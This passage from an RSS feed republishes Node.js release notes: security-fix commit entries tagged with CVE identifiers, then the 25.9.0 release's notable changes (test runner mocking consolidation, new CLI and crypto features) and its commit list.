<li>[<a href="https://github.com/nodejs/node/commit/2acd5d1226"><code>2acd5d1226</code></a>] - <strong>deps</strong>: update undici to v6.24.1 (Matteo Collina) <a href="https://github.com/nodejs/node/pull/62285" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62285/hovercard">#62285</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/af5c144ebc"><code>af5c144ebc</code></a>] - <strong>(<a title="CVE-2026-21717" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-326m-34v3-gv5p/hovercard" href="https://github.com/advisories/GHSA-326m-34v3-gv5p">CVE-2026-21717</a>)</strong> <strong>deps,build,test</strong>: fix array index hash collision (Joyee Cheung) <a href="https://github.com/nodejs-private/node-private/pull/834" data-hovercard-type="pull_request" data-hovercard-url="/nodejs-private/node-private/pull/834/hovercard">nodejs-private/node-private#834</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/00ad47a28e"><code>00ad47a28e</code></a>] - <strong>(<a title="CVE-2026-21710" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-xv6w-gxj8-v943/hovercard" href="https://github.com/advisories/GHSA-xv6w-gxj8-v943">CVE-2026-21710</a>)</strong> <strong>http</strong>: use null prototype for headersDistinct/trailersDistinct (Matteo Collina) <a href="https://github.com/nodejs-private/node-private/pull/821" data-hovercard-type="pull_request" data-hovercard-url="/nodejs-private/node-private/pull/821/hovercard">nodejs-private/node-private#821</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0123309566"><code>0123309566</code></a>] - <strong>(<a title="CVE-2026-21716" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-22vj-v4r3-878v/hovercard" href="https://github.com/advisories/GHSA-22vj-v4r3-878v">CVE-2026-21716</a>)</strong> <strong>permission</strong>: include permission check on lib/fs/promises (RafaelGSS) <a href="https://github.com/nodejs-private/node-private/pull/840" data-hovercard-type="pull_request" data-hovercard-url="/nodejs-private/node-private/pull/840/hovercard">nodejs-private/node-private#840</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/00830712bc"><code>00830712bc</code></a>] - <strong>(<a title="CVE-2026-21715" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-8jgr-5cgv-g667/hovercard" href="https://github.com/advisories/GHSA-8jgr-5cgv-g667">CVE-2026-21715</a>)</strong> <strong>permission</strong>: add permission check to realpath.native (RafaelGSS) <a href="https://github.com/nodejs-private/node-private/pull/838" data-hovercard-type="pull_request" data-hovercard-url="/nodejs-private/node-private/pull/838/hovercard">nodejs-private/node-private#838</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a0c73425da"><code>a0c73425da</code></a>] - <strong>(<a title="CVE-2026-21714" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-cfr8-f5q7-84wq/hovercard" href="https://github.com/advisories/GHSA-cfr8-f5q7-84wq">CVE-2026-21714</a>)</strong> <strong>src</strong>: handle NGHTTP2_ERR_FLOW_CONTROL error code (RafaelGSS) <a href="https://github.com/nodejs-private/node-private/pull/832" data-hovercard-type="pull_request" data-hovercard-url="/nodejs-private/node-private/pull/832/hovercard">nodejs-private/node-private#832</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/cc3f294507"><code>cc3f294507</code></a>] - <strong>(<a title="CVE-2026-21637" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-ggxc-26fx-987r/hovercard" href="https://github.com/advisories/GHSA-ggxc-26fx-987r">CVE-2026-21637</a>)</strong> <strong>tls</strong>: wrap SNICallback invocation in try/catch (Matteo Collina) <a href="https://github.com/nodejs-private/node-private/pull/839" data-hovercard-type="pull_request" data-hovercard-url="/nodejs-private/node-private/pull/839/hovercard">nodejs-private/node-private#839</a></li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[2026-04-01, Version 25.9.0 (Current), @aduh95]]></title>
<description><![CDATA[Notable Changes
Test runner module mocking improvements
MockModuleOptions.defaultExport and MockModuleOptions.namedExports have been
consolidated into a single option MockModuleOptions.exports to align with user
expectations and other test runners.
A default property on MockModuleOptions.exports ...]]></description>
<link>https://tsecurity.de/de/3487687/downloads/2026-04-01-version-2590-current-aduh95/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3487687/downloads/2026-04-01-version-2590-current-aduh95/</guid>
<pubDate>Tue, 05 May 2026 02:02:38 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h3>Notable Changes</h3>
<h4>Test runner module mocking improvements</h4>
<p><code>MockModuleOptions.defaultExport</code> and <code>MockModuleOptions.namedExports</code> have been<br>
consolidated into a single option <code>MockModuleOptions.exports</code> to align with user<br>
expectations and other test runners.</p>
<p>A <code>default</code> property on <code>MockModuleOptions.exports</code>  represents the default<br>
export, and own enumerable properties are treated as named exports.</p>
<p>An automated migration is available to update user code:<br>
<a href="https://github.com/nodejs/userland-migrations/tree/main/recipes/mock-module-exports">https://github.com/nodejs/userland-migrations/tree/main/recipes/mock-module-exports</a></p>
<div class="highlight highlight-source-shell notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="npx codemod @nodejs/mock-module-exports"><pre>npx codemod @nodejs/mock-module-exports</pre></div>
<p>Contributed by sangwook in <a href="https://github.com/nodejs/node/pull/61727" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61727/hovercard">#61727</a>.</p>
<h4>Other notable changes</h4>
<ul>
<li>[<a href="https://github.com/nodejs/node/commit/312476cb84"><code>312476cb84</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>async_hooks</strong>: add using scopes to <code>AsyncLocalStorage</code> (Stephen Belanger) <a href="https://github.com/nodejs/node/pull/61674" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61674/hovercard">#61674</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/62d2cd473b"><code>62d2cd473b</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>cli</strong>: add <code>--max-heap-size</code> option (tannal) <a href="https://github.com/nodejs/node/pull/58708" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/58708/hovercard">#58708</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d0ebf0e44b"><code>d0ebf0e44b</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>crypto</strong>: add <code>TurboSHAKE</code> and <code>KangarooTwelve</code> Web Cryptography algorithms (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62183" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62183/hovercard">#62183</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f85b9d9fa8"><code>f85b9d9fa8</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>repl</strong>: add customizable error handling (Anna Henningsen) <a href="https://github.com/nodejs/node/pull/62188" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62188/hovercard">#62188</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/67b854d407"><code>67b854d407</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>repl</strong>: remove dependency on <code>node:domain</code> (Matteo Collina) <a href="https://github.com/nodejs/node/pull/61227" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61227/hovercard">#61227</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/966b700623"><code>966b700623</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>sea</strong>: support code cache for ESM entrypoint in SEA (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/62158" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62158/hovercard">#62158</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e1f0d2a014"><code>e1f0d2a014</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>stream</strong>: add stream/iter Implementation (James M Snell) <a href="https://github.com/nodejs/node/pull/62066" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62066/hovercard">#62066</a></li>
</ul>
<h3>Commits</h3>
<ul>
<li>[<a href="https://github.com/nodejs/node/commit/312476cb84"><code>312476cb84</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>async_hooks</strong>: add using scopes to AsyncLocalStorage (Stephen Belanger) <a href="https://github.com/nodejs/node/pull/61674" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61674/hovercard">#61674</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/bfff8cb2ab"><code>bfff8cb2ab</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>benchmark</strong>: add benchmarks for experimental stream/iter (James M Snell) <a href="https://github.com/nodejs/node/pull/62066" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62066/hovercard">#62066</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c721d68502"><code>c721d68502</code></a>] - <strong>benchmark</strong>: fix destructuring in dgram/single-buffer (Ali Hassan) <a href="https://github.com/nodejs/node/pull/62084" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62084/hovercard">#62084</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e2f03c8e92"><code>e2f03c8e92</code></a>] - <strong>buffer</strong>: improve performance of multiple Buffer operations (Ali Hassan) <a href="https://github.com/nodejs/node/pull/61871" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61871/hovercard">#61871</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2fcd07f1ba"><code>2fcd07f1ba</code></a>] - <strong>build</strong>: support empty libname flags in <code>configure.py</code> (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62477" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62477/hovercard">#62477</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b800c57fce"><code>b800c57fce</code></a>] - <strong>build</strong>: fix timezone-update path references (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/62280" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62280/hovercard">#62280</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7dc5a1e9b4"><code>7dc5a1e9b4</code></a>] - <strong>build</strong>: skip dockit on IBMi (SRAVANI GUNDEPALLI) <a href="https://github.com/nodejs/node/pull/62189" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62189/hovercard">#62189</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f0eea0f905"><code>f0eea0f905</code></a>] - <strong>build</strong>: fix --node-builtin-modules-path (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62115" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62115/hovercard">#62115</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/62d2cd473b"><code>62d2cd473b</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>cli</strong>: add --max-heap-size option (tannal) <a href="https://github.com/nodejs/node/pull/58708" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/58708/hovercard">#58708</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ac4b485698"><code>ac4b485698</code></a>] - <strong>crypto</strong>: update root certificates to NSS 3.121 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62485" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62485/hovercard">#62485</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d0ebf0e44b"><code>d0ebf0e44b</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>crypto</strong>: add TurboSHAKE and KangarooTwelve Web Cryptography algorithms (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62183" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62183/hovercard">#62183</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3009980d9d"><code>3009980d9d</code></a>] - <strong>crypto</strong>: add crypto::GetSSLCtx API for addon access to OpenSSL contexts (Tim Perry) <a href="https://github.com/nodejs/node/pull/62254" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62254/hovercard">#62254</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f5725ca81d"><code>f5725ca81d</code></a>] - <strong>crypto</strong>: reject ML-KEM/ML-DSA PKCS#8 import without seed in SubtleCrypto (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62218" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62218/hovercard">#62218</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f69ed4bc3f"><code>f69ed4bc3f</code></a>] - <strong>crypto</strong>: rename CShakeParams and KmacParams length to outputLength (Filip Skokan) <a href="https://github.com/nodejs/node/pull/61875" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61875/hovercard">#61875</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4d96e53570"><code>4d96e53570</code></a>] - <strong>crypto</strong>: refactor WebCrypto AEAD algorithms auth tag handling (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62169" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62169/hovercard">#62169</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/93d77719e8"><code>93d77719e8</code></a>] - <strong>crypto</strong>: read algorithm name property only once in normalizeAlgorithm (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62170" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62170/hovercard">#62170</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3d2e23a981"><code>3d2e23a981</code></a>] - <strong>deps</strong>: update ada to 3.4.4 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62414" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62414/hovercard">#62414</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/176d6d2205"><code>176d6d2205</code></a>] - <strong>deps</strong>: update timezone to 2026a (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62164" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62164/hovercard">#62164</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/95c7fc67ba"><code>95c7fc67ba</code></a>] - <strong>deps</strong>: update googletest to 2461743991f9aa53e9a3625eafcbacd81a3c74cd (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62484" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62484/hovercard">#62484</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e5e9f2044a"><code>e5e9f2044a</code></a>] - <strong>deps</strong>: update simdjson to 4.5.0 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62382" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62382/hovercard">#62382</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/905b94266a"><code>905b94266a</code></a>] - <strong>deps</strong>: update ngtcp2 to 1.21.0 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62051" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62051/hovercard">#62051</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/180c150122"><code>180c150122</code></a>] - <strong>deps</strong>: V8: cherry-pick cf1bce40a5ef (Richard Lau) <a href="https://github.com/nodejs/node/pull/62449" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62449/hovercard">#62449</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/bc265aa003"><code>bc265aa003</code></a>] - <strong>deps</strong>: upgrade npm to 11.12.1 (npm team) <a href="https://github.com/nodejs/node/pull/62448" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62448/hovercard">#62448</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f1b28612c4"><code>f1b28612c4</code></a>] - <strong>deps</strong>: V8: cherry-pick b25cd62c7ba2 (Yagiz Nizipli) <a href="https://github.com/nodejs/node/pull/62354" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62354/hovercard">#62354</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/757719d2af"><code>757719d2af</code></a>] - <strong>deps</strong>: disable rust icu compiled_data features (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/62284" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62284/hovercard">#62284</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3bdc955b63"><code>3bdc955b63</code></a>] - <strong>deps</strong>: update sqlite to 3.51.3 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62256" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62256/hovercard">#62256</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a9703d194a"><code>a9703d194a</code></a>] - <strong>deps</strong>: update googletest to 73a63ea05dc8ca29ec1d2c1d66481dd0de1950f1 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/61927" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61927/hovercard">#61927</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/85138935cb"><code>85138935cb</code></a>] - <strong>deps</strong>: update merve to 1.2.2 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62213" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62213/hovercard">#62213</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/231521e75e"><code>231521e75e</code></a>] - <strong>diagnostics_channel</strong>: add diagnostics channels for web locks (Ilyas Shabi) <a href="https://github.com/nodejs/node/pull/62123" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62123/hovercard">#62123</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0093863664"><code>0093863664</code></a>] - <strong>doc</strong>: deprecate <code>module.register()</code> (DEP0205) (Geoffrey Booth) <a href="https://github.com/nodejs/node/pull/62395" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62395/hovercard">#62395</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0b96ece6be"><code>0b96ece6be</code></a>] - <strong>doc</strong>: clarify that features cannot be both experimental and deprecated (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62456" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62456/hovercard">#62456</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/8d3ea975f5"><code>8d3ea975f5</code></a>] - <strong>doc</strong>: fix 'transfered' typo in quic.md (lilianakatrina684-a11y) <a href="https://github.com/nodejs/node/pull/62492" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62492/hovercard">#62492</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/08ff16e0ba"><code>08ff16e0ba</code></a>] - <strong>doc</strong>: move sqlite type conversion section to correct level (René) <a href="https://github.com/nodejs/node/pull/62482" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62482/hovercard">#62482</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/61cc747dd8"><code>61cc747dd8</code></a>] - <strong>doc</strong>: add Rafael to last security release steward (Rafael Gonzaga) <a href="https://github.com/nodejs/node/pull/62423" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62423/hovercard">#62423</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/64cfa5a6fa"><code>64cfa5a6fa</code></a>] - <strong>doc</strong>: use npm-published version of doc-kit (Aviv Keller) <a href="https://github.com/nodejs/node/pull/62139" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62139/hovercard">#62139</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1020321fb0"><code>1020321fb0</code></a>] - <strong>doc</strong>: fix overstated Date header requirement in response.sendDate (Kit Dallege) <a href="https://github.com/nodejs/node/pull/62206" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62206/hovercard">#62206</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9caa7855b2"><code>9caa7855b2</code></a>] - <strong>doc</strong>: fix guaranteed typo (lilianakatrina684-a11y) <a href="https://github.com/nodejs/node/pull/62374" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62374/hovercard">#62374</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e254f65306"><code>e254f65306</code></a>] - <strong>doc</strong>: enhance clarification about the main field (Mowafak Almahaini) <a href="https://github.com/nodejs/node/pull/62302" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62302/hovercard">#62302</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9e724b53f8"><code>9e724b53f8</code></a>] - <strong>doc</strong>: remove spawn with shell example from bat/cmd section (Kit Dallege) <a href="https://github.com/nodejs/node/pull/62243" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62243/hovercard">#62243</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7f37c17516"><code>7f37c17516</code></a>] - <strong>doc</strong>: minor typo fix (Jeff Matson) <a href="https://github.com/nodejs/node/pull/62358" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62358/hovercard">#62358</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/eb0ca98f01"><code>eb0ca98f01</code></a>] - <strong>doc</strong>: add path to vulnerabilities.json mention (Rafael Gonzaga) <a href="https://github.com/nodejs/node/pull/62355" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62355/hovercard">#62355</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/198b6e0932"><code>198b6e0932</code></a>] - <strong>doc</strong>: deprecate CryptoKey use in node:crypto (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62321" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62321/hovercard">#62321</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/17e5aee6c5"><code>17e5aee6c5</code></a>] - <strong>doc</strong>: fix small environment_variables typo (chris) <a href="https://github.com/nodejs/node/pull/62279" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62279/hovercard">#62279</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/193d629895"><code>193d629895</code></a>] - <strong>doc</strong>: test and test-only targets do not run linter (Xavier Stouder) <a href="https://github.com/nodejs/node/pull/62120" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62120/hovercard">#62120</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4a1f20ec4a"><code>4a1f20ec4a</code></a>] - <strong>doc</strong>: clarify fs.ReadStream and fs.WriteStream are not constructable (Kit Dallege) <a href="https://github.com/nodejs/node/pull/62208" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62208/hovercard">#62208</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f976c9214d"><code>f976c9214d</code></a>] - <strong>doc</strong>: clarify that any truthy value of <code>shell</code> is part of DEP0190 (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62249" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62249/hovercard">#62249</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4d83972681"><code>4d83972681</code></a>] - <strong>doc</strong>: remove outdated Chrome 66 and ndb references from debugger (Kit Dallege) <a href="https://github.com/nodejs/node/pull/62202" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62202/hovercard">#62202</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/71f2eada5b"><code>71f2eada5b</code></a>] - <strong>doc</strong>: add throwIfNoEntry version history to fs.stat (kovan) <a href="https://github.com/nodejs/node/pull/62204" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62204/hovercard">#62204</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/670c80893b"><code>670c80893b</code></a>] - <strong>doc</strong>: add note (and caveat) for <code>mock.module</code> about customization hooks (Jacob Smith) <a href="https://github.com/nodejs/node/pull/62075" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62075/hovercard">#62075</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2ff5cb13f5"><code>2ff5cb13f5</code></a>] - <strong>doc,test</strong>: clarify --eval syntax for leading '-' scripts (kovan) <a href="https://github.com/nodejs/node/pull/62244" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62244/hovercard">#62244</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6c6c9004c4"><code>6c6c9004c4</code></a>] - <strong>esm</strong>: fix typo in worker loader hook comment (jakecastelli) <a href="https://github.com/nodejs/node/pull/62475" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62475/hovercard">#62475</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1cdd23c9f3"><code>1cdd23c9f3</code></a>] - <strong>esm</strong>: fix source phase identity bug in loadCache eviction (Guy Bedford) <a href="https://github.com/nodejs/node/pull/62415" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62415/hovercard">#62415</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4f4ff15794"><code>4f4ff15794</code></a>] - <strong>esm</strong>: fix path normalization in <code>finalizeResolution</code> (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62080" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62080/hovercard">#62080</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/088167d102"><code>088167d102</code></a>] - <strong>events</strong>: avoid cloning listeners array on every emit (Gürgün Dayıoğlu) <a href="https://github.com/nodejs/node/pull/62261" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62261/hovercard">#62261</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0250b436ee"><code>0250b436ee</code></a>] - <strong>fs</strong>: fix cpSync to handle non-ASCII characters (Stefan Stojanovic) <a href="https://github.com/nodejs/node/pull/61950" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61950/hovercard">#61950</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b67a8fb171"><code>b67a8fb171</code></a>] - <strong>inspector</strong>: add Target.getTargets and extract TargetManager (Kohei) <a href="https://github.com/nodejs/node/pull/62487" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62487/hovercard">#62487</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ffcc5a5722"><code>ffcc5a5722</code></a>] - <strong>lib</strong>: make SubtleCrypto.supports enumerable (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62307" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62307/hovercard">#62307</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/92ef2ad8fa"><code>92ef2ad8fa</code></a>] - <strong>lib</strong>: prefer primordials in SubtleCrypto (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62226" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62226/hovercard">#62226</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/40a43ac4d0"><code>40a43ac4d0</code></a>] - <strong>module</strong>: fix coverage of mocked CJS modules imported from ESM (Marco) <a href="https://github.com/nodejs/node/pull/62133" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62133/hovercard">#62133</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3ef0a5b90e"><code>3ef0a5b90e</code></a>] - <strong>quic</strong>: remove CryptoKey support from session keys option (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62335" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62335/hovercard">#62335</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3c8dd8eb8e"><code>3c8dd8eb8e</code></a>] - <strong>repl</strong>: use vm DONT_CONTEXTIFY context (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/62371" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62371/hovercard">#62371</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f85b9d9fa8"><code>f85b9d9fa8</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>repl</strong>: add customizable error handling (Anna Henningsen) <a href="https://github.com/nodejs/node/pull/62188" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62188/hovercard">#62188</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e4c164e045"><code>e4c164e045</code></a>] - <strong>repl</strong>: handle exceptions from async context after close (Anna Henningsen) <a href="https://github.com/nodejs/node/pull/62165" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62165/hovercard">#62165</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/67b854d407"><code>67b854d407</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>repl</strong>: remove dependency on domain module (Matteo Collina) <a href="https://github.com/nodejs/node/pull/61227" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61227/hovercard">#61227</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/966b700623"><code>966b700623</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>sea</strong>: support code cache for ESM entrypoint in SEA (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/62158" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62158/hovercard">#62158</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/fe82baf970"><code>fe82baf970</code></a>] - <strong>src</strong>: improve EC JWK import performance (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62396" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62396/hovercard">#62396</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d490b171e0"><code>d490b171e0</code></a>] - <strong>src</strong>: handle null backing store in ArrayBufferViewContents::Read (Mert Can Altin) <a href="https://github.com/nodejs/node/pull/62343" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62343/hovercard">#62343</a></li>
